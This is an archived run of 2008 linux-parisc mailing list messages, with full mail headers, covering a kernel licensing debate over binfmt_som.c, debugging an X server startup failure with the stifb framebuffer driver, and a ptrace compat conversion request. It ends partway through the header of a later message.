Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 11 20:46:24 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KScPO-0003tS-3t
	for glpp-linux-parisc@gmane.org; Mon, 11 Aug 2008 20:46:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751211AbYHKSpY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Aug 2008 14:45:24 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751685AbYHKSpY
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 11 Aug 2008 14:45:24 -0400
Original-Received: from smtp5.pp.htv.fi ([213.243.153.39]:59954 "EHLO smtp5.pp.htv.fi"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751211AbYHKSpX (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Aug 2008 14:45:23 -0400
Original-Received: from cs181140183.pp.htv.fi (cs181140183.pp.htv.fi [82.181.140.183])
	by smtp5.pp.htv.fi (Postfix) with ESMTP id 1080B5BC01C;
	Mon, 11 Aug 2008 21:45:22 +0300 (EEST)
Content-Disposition: inline
In-Reply-To: <20080811165644.B18F04DE6@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:617 gmane.linux.kernel:719735
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/617>

On Mon, Aug 11, 2008 at 12:56:43PM -0400, John David Anglin wrote:
> > The toplevel COPYING file of the kernel sources contains the exact 
> > licence text for all files (including binfmt_som.c) in the kernel.
> 
> The COPYING file contains the license text but it doesn't say clearly
> what the license applies to.  The closest thing to this is the statement
> 
>    Also note that the GPL below is copyrighted by the Free Software
>    Foundation, but the instance of code that it refers to (the Linux
>    kernel) is copyrighted by me and others who actually wrote it.
> 
> in the COPYING file.  The applicability of the GPL is parenthetical.
> The HOWTO file is more specific, but a clear license statement at the
> top level of the "source" tree is missing.

There's a file named COPYING at the top level, and a file named README 
at the top level that says:

WHAT IS LINUX?
...
  It is distributed under the GNU General Public License - see the
  accompanying COPYING file for more details. 


The GPLv2 licence on the Linux kernel is generally agreed upon 
(whether one likes it or not is a different question, but all 
contributors are aware that it applies) and has even been successfully 
enforced at court, which makes your attempts of finding a way to 
possibly interpret it differently kinda strange.


> Dave

cu
Adrian

-- 

       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: X won't start with VisEG and 2.6.22.19
Date: Thu, 14 Aug 2008 22:54:08 +0200
Lines: 179
Approved: news@gmane.org
Message-ID: <48A49B70.9030706@gmx.de>
References: <488DFD62.4080307@hp.com>	<20080728171500.GB16059@parisc-linux.org>	<488F777E.6090405@hp.com>	<1217363136.6103.68.camel@localhost.localdomain>	<488F842F.3040000@hp.com>	<1217369386.6103.73.camel@localhost.localdomain>	<20080731051524.GC18732@colo.lackof.org>	<4891F5C0.8010307@hp.com>	<20080801233142.GC26550@colo.lackof.org>	<7d01f9f00808040159ud7f1afw8e0ee77760bc9c68@mail.gmail.com>	<20080806014207.GA2590@hiauly1.hia.nrc.ca> <20080806071119.22b6a21f@bleh.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1218747245 5707 80.91.229.12 (14 Aug 2008 20:54:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Aug 2008 20:54:05 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Guy Martin <gmsoft@tuxicoman.be>,
	Gerd Knorr <kraxel@goldbach.in-berlin.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 14 22:54:56 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KTjqO-0005ux-OG
	for glpp-linux-parisc@gmane.org; Thu, 14 Aug 2008 22:54:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750738AbYHNUxx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 14 Aug 2008 16:53:53 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752781AbYHNUxx
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 14 Aug 2008 16:53:53 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:54242 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1750738AbYHNUxw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 14 Aug 2008 16:53:52 -0400
Original-Received: (qmail invoked by alias); 14 Aug 2008 20:53:50 -0000
Original-Received: from mnhm-590f5317.pool.einsundeins.de (EHLO halden.box) [89.15.83.23]
  by mail.gmx.net (mp062) with SMTP; 14 Aug 2008 22:53:50 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19lSgliVQllwj7G5kP+z6B2Yh0n9SCuYIQu32hvJg
	OFKOtrL8exSt6G
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20080806071119.22b6a21f@bleh.bxl.tuxicoman.be>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.43
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:618
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/618>

Guy, thanks for the hint, and yes I see this problem as well.

The problem is really caused by hw/xfree86/fbdevhw/fbdevhw.c.

The driver sets a video mode and then checks if the syscall modified the 
parameters with the function fbdev_modes_equal():

--snip--
/* static*/ Bool
fbdev_modes_equal(struct fb_var_screeninfo *set, struct 
fb_var_screeninfo *req)
{
         return (set->xres_virtual >= req->xres_virtual &&
                 set->yres_virtual >= req->yres_virtual &&
                 set->bits_per_pixel == req->bits_per_pixel &&
                 set->red.length == req->red.length &&
                 set->green.length == req->green.length &&
                 set->blue.length == req->blue.length &&
                 set->xres == req->xres && set->yres == req->yres &&
                 set->pixclock == req->pixclock &&
                 set->right_margin == req->right_margin &&
                 set->hsync_len == req->hsync_len &&
                 set->left_margin == req->left_margin &&
                 set->lower_margin == req->lower_margin &&
                 set->vsync_len == req->vsync_len &&
                 set->upper_margin == req->upper_margin &&
                 set->sync == req->sync && set->vmode == req->vmode);
}
--snip--

Tracing with gdb gives the following:

Breakpoint 1, fbdev_modes_equal (set=0xfb5ed568, req=0xfb5ed4c8)
     at ../../../../hw/xfree86/fbdevhw/fbdevhw.c:256
256     }
(gdb) p *set
$1 = {xres = 1024, yres = 768, xres_virtual = 1024, yres_virtual = 768, 
xoffset = 0, yoffset = 0,
   bits_per_pixel = 8, grayscale = 0, red = {offset = 0, length = 8, 
msb_right = 0}, green = {offset = 0,
     length = 8, msb_right = 0}, blue = {offset = 0, length = 8, 
msb_right = 0}, transp = {offset = 0,
     length = 0, msb_right = 0}, nonstd = 0, activate = 0, height = 0, 
width = 0, accel_flags = 0,
   pixclock = 0, left_margin = 0, right_margin = 0, upper_margin = 0, 
lower_margin = 0, hsync_len = 0,
   vsync_len = 0, sync = 0, vmode = 0, reserved = {0, 0, 0, 0, 0, 0}}

(gdb) p *req
$2 = {xres = 1024, yres = 768, xres_virtual = 1024, yres_virtual = 768, 
xoffset = 0, yoffset = 0,
   bits_per_pixel = 8, grayscale = 0, red = {offset = 0, length = 8, 
msb_right = 0}, green = {offset = 0,
     length = 8, msb_right = 0}, blue = {offset = 0, length = 8, 
msb_right = 0}, transp = {offset = 0,
     length = 0, msb_right = 0}, nonstd = 0, activate = 0, height = 0, 
width = 0, accel_flags = 0,
   pixclock = 22271, left_margin = 56, right_margin = 8, upper_margin = 
41, lower_margin = 0,
   hsync_len = 176, vsync_len = 8, sync = 3, vmode = 1, reserved = {0, 
0, 0, 0, 0, 0}}

(gdb) bt
#0  fbdev_modes_equal (set=0xfb5ed568, req=0xfb5ed4c8) at 
../../../../hw/xfree86/fbdevhw/fbdevhw.c:256
#1  0x40bcfb64 in fbdevHWSetMode (pScrn=0x2142a0, mode=<value optimized 
out>, check=1)
     at ../../../../hw/xfree86/fbdevhw/fbdevhw.c:528
#2  0x40bd07e8 in fbdevHWSetVideoModes (pScrn=0x2142a0) at 
../../../../hw/xfree86/fbdevhw/fbdevhw.c:568
#3  0x40cf5bec in ?? () from /usr/lib/xorg/modules/drivers//fbdev_drv.so
#4  0x00074e88 in InitOutput ()
#5  0x00039d04 in main ()

As you can see, the main video parameters are OK, while the 
monitor/modeline values (pixclock, left_margin, right_margin, 
upper_margin, lower_margin, hsync_len, vsync_len, sync and vmode)
were changed to zero.

Interestingly the stifb driver does not touch those values at all. 
Everything is done inside the main fbmem.c core driver, so it seems it 
could become a generic problem for other framebuffer drivers as well.

I don't see a reason, why a framebuffer driver should care about 
modelines (except for resolution and bpp) at all. OK, on a i386 with 
e.g. vgafb you might be able to change the resolution, but on the hppa 
architecture with the stifb driver this is not the case. It's a fixed 
resolution with (often) a fixed frequency monitor which can't be changed 
at runtime from inside the OS.

Any ideas?
Should I open a debian bug report?
Maybe the fbdev_modes_equal() function should just ignore any changes to 
  the timings?

Helge


xorg log file:
(II) LoadModule: "fbdevhw"
(II) Loading /usr/lib/xorg/modules/linux//libfbdevhw.so
(II) Module fbdevhw: vendor="X.Org Foundation"
         compiled for 1.4.2, module version = 0.0.2
         ABI class: X.Org Video Driver, version 2.0
(II) FBDEV(0): using /dev/fb0
(II) Running in FRAMEBUFFER Mode
(**) FBDEV(0): Depth 8, (--) framebuffer bpp 8
(==) FBDEV(0): Default visual is PseudoColor
(==) FBDEV(0): Using gamma correction (1.0, 1.0, 1.0)
(II) FBDEV(0): hardware: stifb (video memory: 1536kB)
(**) FBDEV(0): Option "fbdev" "/dev/fb0"
(II) FBDEV(0): checking modes against framebuffer device...
(II) FBDEV(0):  mode "1024x768" test failed
(II) FBDEV(0): checking modes against monitor...
(--) FBDEV(0): Virtual size is 1024x768 (pitch 1024)
(**) FBDEV(0):  Built-in mode "current": 28000.0 MHz, 27343.8 kHz, 
35603.8 Hz
(II) FBDEV(0): Modeline "current"x0.0  28000.00  1024 1024 1024 1024 
768 768 768 768 -hsync -vsync -csync (27343.8 kHz)
(==) FBDEV(0): DPI set to (96, 96)
(II) Loading sub module "fb"
(II) LoadModule: "fb"
(II) Loading /usr/lib/xorg/modules//libfb.so
(II) Module fb: vendor="X.Org Foundation"
         compiled for 1.4.2, module version = 1.0.0
         ABI class: X.Org ANSI C Emulation, version 0.3
(**) FBDEV(0): using shadow framebuffer
(II) Loading sub module "shadow"
(II) LoadModule: "shadow"
(II) Loading /usr/lib/xorg/modules//libshadow.so
(II) Module shadow: vendor="X.Org Foundation"
         compiled for 1.4.2, module version = 1.1.0
         ABI class: X.Org ANSI C Emulation, version 0.3
(EE) FBDEV(0): FBIOPUT_VSCREENINFO succeeded but modified mode
(EE) FBDEV(0): mode initialization failed

Fatal server error:
AddScreen/ScreenInit failed for driver 0




Guy Martin wrote:
> Hi Dave,
> 
> This has been introduced in latest Xorg. When it modify the fb device,
> Xorg query the kernel again to make sure changes are the expected ones.
> Apparently, stifb doesn't return what it was expecting.
> 
> You'll find the Xorg code in hw/xfree86/fbdevhw/fbdevhw.c,
> fbdevHWSetMode().
> 
> 
> Cheers,
>   Guy
> 
> 
> On Tue, 5 Aug 2008 21:42:08 -0400
> John David Anglin <dave@hiauly1.hia.nrc.ca> wrote:
> 
>>>> It wasn't and the default debian kernel didn't boot either.
>>>> I've set the default kernel to jda's 2.6.22.19 patched kernel.
>>> Is there a source tarball of that, or a list of applied patches? I
>>> would very much like to use that "homebrew" kernel on my cluster as
>>> well, until newer kernels are proven reliable enough...
>> I should mention that I've had a problem with starting X with lenny
>> and 2.6.22.  This has been a problem for sometime.  I've tried
>> simplifying the xorg.conf file and adding the mode helper to the
>> kernel, but I haven't found the magic incantation that works.
>>
>> Dave
> 
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: X won't start with VisEG and 2.6.22.19
Date: Thu, 14 Aug 2008 17:24:21 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <20080814212422.447EC4E4A@hiauly1.hia.nrc.ca>
References: <48A49B70.9030706@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1218749086 11867 80.91.229.12 (14 Aug 2008 21:24:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Aug 2008 21:24:46 +0000 (UTC)
Cc: gmsoft@tuxicoman.be, kraxel@goldbach.in-berlin.de,
	dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Aug 14 23:25:38 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KTkJu-0007o8-V8
	for glpp-linux-parisc@gmane.org; Thu, 14 Aug 2008 23:25:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751702AbYHNVYY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 14 Aug 2008 17:24:24 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751786AbYHNVYY
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 14 Aug 2008 17:24:24 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3387 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751702AbYHNVYX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 14 Aug 2008 17:24:23 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 447EC4E4A; Thu, 14 Aug 2008 17:24:22 -0400 (EDT)
In-Reply-To: <48A49B70.9030706@gmx.de> from "Helge Deller" at Aug 14, 2008 10:54:08 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:619
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/619>

> The problem is really caused by hw/xfree86/fbdevhw/fbdevhw.c.
> 
> The driver sets a video mode and then checks if the syscall modified the 
> parameters with the function fbdev_modes_equal():

The maintainers for the fbdevhw.c and fbmem.c files need to be contacted
to determine what fbmem.c is allowed to change and what what fbdev_modes_equal
should be checking.  It's possible Debian is messing with the code as well,
so a Debian bug report wouldn't hurt.

Thanks for looking into this.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: X won't start with VisEG and 2.6.22.19
Date: Fri, 15 Aug 2008 17:09:27 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <48A59C27.8090706@gmx.de>
References: <20080814212422.447EC4E4A@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1218812998 9043 80.91.229.12 (15 Aug 2008 15:09:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 15 Aug 2008 15:09:58 +0000 (UTC)
Cc: gmsoft@tuxicoman.be, kraxel@goldbach.in-berlin.de,
	dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 15 17:10:49 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KU0wi-0002XE-Ec
	for glpp-linux-parisc@gmane.org; Fri, 15 Aug 2008 17:10:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753966AbYHOPJd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 15 Aug 2008 11:09:33 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753999AbYHOPJd
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 15 Aug 2008 11:09:33 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:55989 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753966AbYHOPJd (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 15 Aug 2008 11:09:33 -0400
Original-Received: (qmail invoked by alias); 15 Aug 2008 15:09:31 -0000
Original-Received: from mnhm-590f76ed.pool.einsundeins.de (EHLO halden.box) [89.15.118.237]
  by mail.gmx.net (mp019) with SMTP; 15 Aug 2008 17:09:31 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/Kx6MFRibKY2A4klKrahXKAc0qWGRn12/G63+QEX
	/7V7JfXj7p9h7v
User-Agent: Thunderbird 2.0.0.14 (X11/20080501)
In-Reply-To: <20080814212422.447EC4E4A@hiauly1.hia.nrc.ca>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.7
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:620
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/620>

John David Anglin wrote:
>> The problem is really caused by hw/xfree86/fbdevhw/fbdevhw.c.
>>
>> The driver sets a video mode and then checks if the syscall modified the 
>> parameters with the function fbdev_modes_equal():
> 
> The maintainers for the fbdevhw.c and fbmem.c files need to be contacted
> to determine what fbmem.c is allowed to change and what what fbdev_modes_equal
> should be checking.  It's possible Debian is messing with the code as well,
> so a Debian bug report wouldn't hurt.

I've opened a xorg bugzilla for now:
https://bugs.freedesktop.org/show_bug.cgi?id=17153

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [2.6 patch] binfmt_som.c: add MODULE_LICENSE
Date: Fri, 15 Aug 2008 15:44:34 -0600
Lines: 45
Approved: news@gmane.org
Message-ID: <20080815214434.GB5773@colo.lackof.org>
References: <20080811104643.GA3338@cs181140183.pp.htv.fi> <20080811145652.100E74E77@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1218836695 18145 80.91.229.12 (15 Aug 2008 21:44:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 15 Aug 2008 21:44:55 +0000 (UTC)
Cc: Adrian Bunk <bunk@kernel.org>, grundler@parisc-linux.org,
	kyle@mcmartin.ca, matthew@wil.cx, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, akpm@linux-foundation.org,
	bdale@hp.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 15 23:45:46 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KU77B-0007lR-PS
	for glpp-linux-parisc@gmane.org; Fri, 15 Aug 2008 23:45:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752747AbYHOVor (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 15 Aug 2008 17:44:47 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754230AbYHOVor
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 15 Aug 2008 17:44:47 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:49296 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752747AbYHOVoq (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 15 Aug 2008 17:44:46 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 9B2B0300018;
	Fri, 15 Aug 2008 15:44:44 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08953-10; Fri, 15 Aug 2008 15:44:34 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 473B0300026; Fri, 15 Aug 2008 15:44:34 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20080811145652.100E74E77@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:621 gmane.linux.kernel:721822
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/621>

On Mon, Aug 11, 2008 at 10:56:51AM -0400, John David Anglin wrote:
...
> I don't understand why we are talking about HP here.

My bad. I thought HP owned the copy right to the bulk of the code
and Matthew demonstrated they do not.

>  According to
> Matthew, his last commit to this file occured while he worked for
> Genedata.  It is my understanding that copyright normally acrues
> to employers in employment situations.  If Matthew was an employee
> and not an independent contractor at the time, then why are we not
> talking about Genedata, or its subsequent owner?  Subsequent
> employment at HP or their funding of the parisc port shouldn't
> affect the licensing of a file that was previously contributed.

Correct. I thought the work was done by HP employees and that was wrong.

sorry,
grant

> The file appears to be a derived work.  This may also affect its
> copyright status.  The only reason HP should be involved is if the
> file somehow contains material copyrighted by HP.
> 
> The whole licensing issue for the linux program and modules,
> particularly for individual files, appears to be a mess.  The
> COPYING file is vague on the licensing for files.   The recommended
> wording suggested by the FSF isn't used.  I can't see that adding
> MODULE_LICENSE("GPL") lines is going to help much.
> 
> There are several GPL licenses and versions.  The line isn't
> going to mean much to a lawyer.  I really think each file should
> be specific about its licensing in words that can be clearly
> understood.
> 
> Dave
> -- 
> J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
> National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.mips.general
Subject: missing compat_sys_ptrace conversions for mips and parisc
Date: Sun, 17 Aug 2008 04:29:24 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <20080817022924.GA23625@lst.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1218940178 24638 80.91.229.12 (17 Aug 2008 02:29:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 17 Aug 2008 02:29:38 +0000 (UTC)
To: linux-mips@linux-mips.org, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 17 04:30:28 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KUY2E-0006Vm-Rt
	for glpp-linux-parisc@gmane.org; Sun, 17 Aug 2008 04:30:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751100AbYHQC31 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 16 Aug 2008 22:29:27 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751179AbYHQC31
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 16 Aug 2008 22:29:27 -0400
Original-Received: from verein.lst.de ([213.95.11.210]:43079 "EHLO verein.lst.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751100AbYHQC31 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 16 Aug 2008 22:29:27 -0400
Original-Received: from verein.lst.de (localhost [127.0.0.1])
	by verein.lst.de (8.12.3/8.12.3/Debian-7.1) with ESMTP id m7H2TPIF023738
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO);
	Sun, 17 Aug 2008 04:29:25 +0200
Original-Received: (from hch@localhost)
	by verein.lst.de (8.12.3/8.12.3/Debian-6.6) id m7H2TOl2023736;
	Sun, 17 Aug 2008 04:29:24 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Spam-Score: -0.001 () BAYES_44
X-Scanned-By: MIMEDefang 2.39
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:622 gmane.linux.ports.mips.general:21266
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/622>

Currently mips and parisc are the only architectures not yet converted
to the generic compat_sys_ptrace.  The conversion is rather trivial and
only involves splitting the current compat_ptrace handler into a
compat_arch_ptrace with all the meat and the existing compat_sys_ptrace
that does all the boilerplate code, just like the generic sys_ptrace.
To get the generic compat_sys_ptrace you have to add a

	#define __ARCH_WANT_COMPAT_SYS_PTRACE

to ptrace.h for now, but once mips and parisc are converted this will of
course be removed.  Take a look at the powerpc conversion as an example:

	http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git&a=commitdiff&h=81e695c026eeda9a97e412fa4f458e5cab2f6c85
	
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [RFC] remove dead code from sys_parisc32.c
Date: Sun, 17 Aug 2008 04:41:51 +0200
Lines: 75
Approved: news@gmane.org
Message-ID: <20080817024151.GA24129@lst.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
